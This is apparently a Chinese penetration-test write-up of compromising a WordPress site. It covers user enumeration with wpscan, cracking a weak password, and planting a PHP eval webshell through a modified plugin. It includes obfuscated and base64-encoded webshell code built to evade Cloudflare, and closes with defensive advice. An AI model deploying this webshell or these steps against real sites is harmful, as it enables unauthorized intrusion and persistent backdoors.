记述一件几年前的对外测试任务
字数 1136 2025-08-25 22:58:41
WordPress渗透测试实战:从信息搜集到获取Shell
1. 目标识别与信息搜集
1.1 目标分析
- 目标网站:http://www.co.uk/
- 子站点:http://co.uk/site/index.htm (寄生站,表明主站可能已被入侵)
- CMS识别:WordPress系统
1.2 信息搜集工具使用
使用wpscan进行WordPress站点扫描:
wpscan --url http://www.co.uk --enumerate u
扫描获取的关键信息:
- WordPress版本
- 已安装插件及其版本
- 敏感目录
- 有效用户名列表
2. 认证突破
2.1 弱口令爆破
- 针对获取的用户名进行密码爆破
- 成功获取凭证:用户名 + 密码"pass"
- 通过
wp-login.php后台登录页面成功登录
3. 权限提升与WebShell获取
3.1 直接上传尝试
- 寻找上传点尝试上传图片马
- 上传校验严格,直接上传失败
3.2 插件编辑方法
- 尝试编辑现有插件,遇到404错误
- 替代方案:
- 从官方渠道下载相同插件
- 本地修改插件文件
- 重新打包上传
3.3 WebShell植入技术
修改插件文件添加PHP代码:
file_put_contents("../aaaa.php", '<?php @eval(base64_decode($_POST["chop"])); ?>');
路径测试技巧:
- 尝试不同相对路径:
../ma.php、../../ma.php、./ma.php - 最终确定有效路径为
../aaaa.php
4. 绕过安全防护
4.1 Cloudflare绕过
由于Cloudflare的防护,直接连接中国菜刀失败,采用以下方法:
- 使用变形的Base64编码一句话木马
- 通过PHP脚本中转连接
4.2 混淆的WebShell代码
<?php
$uf = "BPU1";
$ka = "QGVs2YWwoYmFzZT";
$pjt = "Y0X2RlY29kZSgkX1";
$vbl = str_replace("ti", "", "tistittirti_rtietipltiatice");
$iqw = "RbJ2Nob3AnXSkpOw==";
$bkf = $vbl("k", "", "kbakske6k4k_kdkekckokdke");
$sbp = $vbl("ctw", "", "ctwcctwrectwatctwectw_fctwuncctwtctwioctwn");
$mpy = $sbp("", $bkf($vbl("s", "", $ka.$pjt.$uf.$iqw)));
$mpy();
?>
Base64编码版本:
file_put_contents("../llll.php", base64_decode('PD9waHAgJHVmPSJCUFUxIjsgJGthPSJRR1ZzMllXd29ZbUZ6WlQiOyAkcGp0PSJZMFgyUmxZMjlrWlNna1gxIjsgJHZibCA9IHN0cl9yZXBsYWNlKCJ0aSIsIiIsInRpc3RpdHRpcnRpX3J0aWV0aXBsdGlhdGljZSIpOyAkaXF3PSJSYkoyTm9iM0FuWFNrcE93PT0iOyAkYmtmID0gJHZibCgiayIsICIiLCAia2Jha3NrZTZrNGtfa2RrZWtja29rZGtlIik7ICRzYnAgPSAkdmJsKCJjdHciLCIiLCJjdHdjY3R3cmVjdHdhdGN0d2VjdHdfZmN0d3VuY2N0d3RjdHdpb2N0d24iKTsgJG1weSA9ICRzYnAoIiIsICRia2YoJHZibCgicyIsIiIsICRrYS4kcGp0LiR1Zi4kaXF3KSkpOyAkbXB5KCk7ID8+Y3NzX2NvbmY='));
5. 连接建立与维持
5.1 WebShell激活
- 将修改后的插件打包上传
- 在WordPress后台激活插件
- 插件执行后生成WebShell文件
5.2 连接技巧
- 首次连接失败
- 添加管理员Cookie后重试
- 指定非标准端口(如9900)建立连接
- 成功建立中国菜刀连接
6. 关键知识点总结
- 信息搜集:wpscan是WordPress渗透的强大工具,能获取版本、插件、用户等关键信息
- 认证突破:弱口令仍然是常见漏洞,爆破前应收集尽可能多的用户名
- 权限提升:插件修改上传是WordPress中常见的持久化方法
- 路径探测:需要测试不同相对路径来定位可写目录
- 防护绕过:Cloudflare等防护可通过Base64编码和字符串混淆绕过
- 连接维持:非标准端口和Cookie添加可提高连接成功率
7. 防御建议
- 使用强密码策略,避免弱口令
- 定期更新WordPress核心和插件
- 限制插件编辑权限,禁用不必要的文件写入功能
- 实施Web应用防火墙(WAF)规则,检测异常文件操作
- 监控服务器上的异常文件创建行为
- 对上传文件进行严格的内容检查和重命名